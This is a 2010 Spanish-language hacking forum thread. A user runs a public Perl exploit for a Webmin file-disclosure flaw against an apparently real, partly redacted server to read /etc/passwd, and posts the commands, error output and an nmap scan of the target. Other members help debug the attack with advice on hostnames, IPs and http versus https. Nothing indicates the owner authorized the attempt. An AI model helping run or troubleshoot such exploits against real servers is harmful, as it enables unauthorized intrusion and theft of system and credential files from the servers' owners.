webmin attack error

Foro de elhacker.net

Seguridad Informática

Hacking (Moderador: toxeek)

webmin attack error

0 Usuarios y 1 Visitante están viendo este tema.

Páginas: [1]

Autor

Tema: webmin attack error (Leído 6,929 veces)

jackaroe

Desconectado

Mensajes: 8

webmin attack error

« en: 6 Julio 2010, 05:15 am »

hola, estoy probando un exploit para webmin que cuando lo ejecuto recibo el siguiente error.

Código:

[nube@GNU webmin]$ perl 2017.pl https://server.xxxxxxx.xxxx 10000 /etc/passwd 1
WEBMIN EXPLOIT !!!!! coded by UmZ!
Comments and Suggestions are welcome at umz32.dll [at] gmail.com
Vulnerability disclose at securitydot.net
I am just coding it in perl 'cuz I hate PHP!
Attacking https://server.xxxxxxxxx.xxxx on port 10000!
FILENAME:  /etc/passwd
Failed: 500 Can't connect to https::443 (Bad hostname 'https:')

nmap quick scan plus

Código:

Starting Nmap 5.21 ( http://nmap.org ) at 2010-07-06 00:10 ART

Nmap scan report for www.xxxxxxxxxxx.xxx (2**.45.xx.**)
Host is up (0.32s latency).
rDNS record for 2**.45.**:  server.xxxxxxxxxx.xxxx
Not shown: 92 filtered ports
PORT      STATE  SERVICE VERSION
21/tcp    closed ftp
22/tcp    closed ssh
53/tcp    open   domain  ISC BIND 9.5.0-P1
80/tcp    open   http    Apache httpd 2.2.8 ((Fedora))
110/tcp   open   pop3    Dovecot pop3d
143/tcp   open   imap    Dovecot imapd
873/tcp   closed rsync
10000/tcp open   http    MiniServ 0.01 (Webmin httpd)


Device type: general purpose|firewall|proxy server|WAP
Running (JUST GUESSING) : Linux 2.6.X|2.4.X (93%), ISS Linux 2.4.X (92%), Cisco Linux 2.6.X (88%), Riverbed embedded (88%), AVM embedded (87%), Netgear embedded (87%), Linksys embedded (87%)
Aggressive OS guesses: Blue Coat Director (Linux 2.6.10) (93%), Linux 2.6.18 (93%), Linux 2.6.5 (93%), Linux 2.6.9 - 2.6.27 (92%), ISS Proventia GX3002 firewall (Linux 2.4.18) (92%), Linux 2.6.9 (89%), Linux 2.4.20 (88%), Linux 2.6.18 - 2.6.28 (88%), Linux 2.6.24 (88%), Linux 2.6.29 (88%)
No exact OS matches for host (test conditions non-ideal).

Y no sé como demonios avanzar. :huh:

Ya instalé las librerías perl-crypt-ssleay y perl-net-ssleay y no sé que me puede estar faltando.

Desde ya agradezco cualquier ayuda.


	En línea

Søra

Desconectado

Mensajes: 260

"Piensa por ti mismo"Antifascismo Antiracismo

Re: webmin attack error

« Respuesta #1 en: 6 Julio 2010, 10:17 am »

Prueba este y que no se te olvide instalar php5-curl con linux desde los repositorios con:

sudo apt-get install php5-curl

He visto el code por encima y creo que no hay que modificar nada que asi funciona...

Saludos Søra


	En línea

Se busca sabio para intercambio:
Todo lo que se por la mitad de lo que desconozco.

kamsky

Colaborador

Desconectado

Mensajes: 2.218

Como no sabían que era imposible, lo hicieron...

Re: webmin attack error

« Respuesta #2 en: 6 Julio 2010, 11:37 am »

"Failed: 500 Can't connect to https::443 (Bad hostname 'https:')"


	En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

hack 4 free!!

Søra

Desconectado

Mensajes: 260

"Piensa por ti mismo"Antifascismo Antiracismo

Re: webmin attack error

« Respuesta #3 en: 6 Julio 2010, 11:46 am »

kamsky eso quiere decir que tiene que indicar el server sin el http:// ??? es que ahora mismo tengo la duda....

Saludos Søra


	En línea

Se busca sabio para intercambio:
Todo lo que se por la mitad de lo que desconozco.

kamsky

Colaborador

Desconectado

Mensajes: 2.218

Como no sabían que era imposible, lo hicieron...

Re: webmin attack error

« Respuesta #4 en: 6 Julio 2010, 13:06 pm »

sep, si os dais cuenta, en la salida de nmap, indica que sólo está abierto el puerto 80 (http), pero no el 443(http+tls/ssl)


	En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

hack 4 free!!

Debci

Wiki

Desconectado

Mensajes: 2.021

Actualizate o muere!

Re: webmin attack error

« Respuesta #5 en: 6 Julio 2010, 13:26 pm »

Tienes que ponerle la ip del hsot y no el dns.

Saludos


	En línea

jackaroe

Desconectado

Mensajes: 8

Re: webmin attack error

« Respuesta #6 en: 6 Julio 2010, 16:57 pm »

antes que nada gracias a todos.

Si ejecuto el exploit en base a la IP recibo un:

Código:

[nube@GNU webmin]$ perl 2017.pl 2**.4*.44.** 10000 /etc/passwd 1
WEBMIN EXPLOIT !!!!! coded by UmZ!
Comments and Suggestions are welcome at umz32.dll [at] gmail.com
Vulnerability disclose at securitydot.net
I am just coding it in perl 'cuz I hate PHP!
Attacking 2**.4*.44.** on port 10000!
FILENAME:  /etc/passwd
Failed: 404 File not found

Por otro lado usaba la dirección completa porque es la cual desde donde se loguea el webmin. En mi caso:

Código:

https://server1.la****.***.ar:10000/

saludos


	En línea

kamsky

Colaborador

Desconectado

Mensajes: 2.218

Como no sabían que era imposible, lo hicieron...

Re: webmin attack error

« Respuesta #7 en: 6 Julio 2010, 18:54 pm »

prueba a ver si admite http, ya que dudo que el exploit soporte https


	En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

hack 4 free!!

jackaroe

Desconectado

Mensajes: 8

Re: webmin attack error

« Respuesta #8 en: 6 Julio 2010, 19:24 pm »

Código:

[nube@GNU webmin]$ perl 2017.pl 2**.45.*.* 10000 /etc/passwd 0
WEBMIN EXPLOIT !!!!! coded by UmZ!
Comments and Suggestions are welcome at umz32.dll [at] gmail.com
Vulnerability disclose at securitydot.net
I am just coding it in perl 'cuz I hate PHP!
Attacking 2**.45.4*.** on port 10000!
FILENAME:  /etc/passwd

 FILE CONTENT STARTED
 -----------------------------------
<h1>Error - Bad Request</h1>
<pre>This web server is running in SSL mode. Try the URL <a href='https://server1.l***.**.**:10000/'>https://server1.***.**.**:10000/</a> instead.<br></pre>

 -------------------------------------


	En línea

Páginas: [1]

Ir a: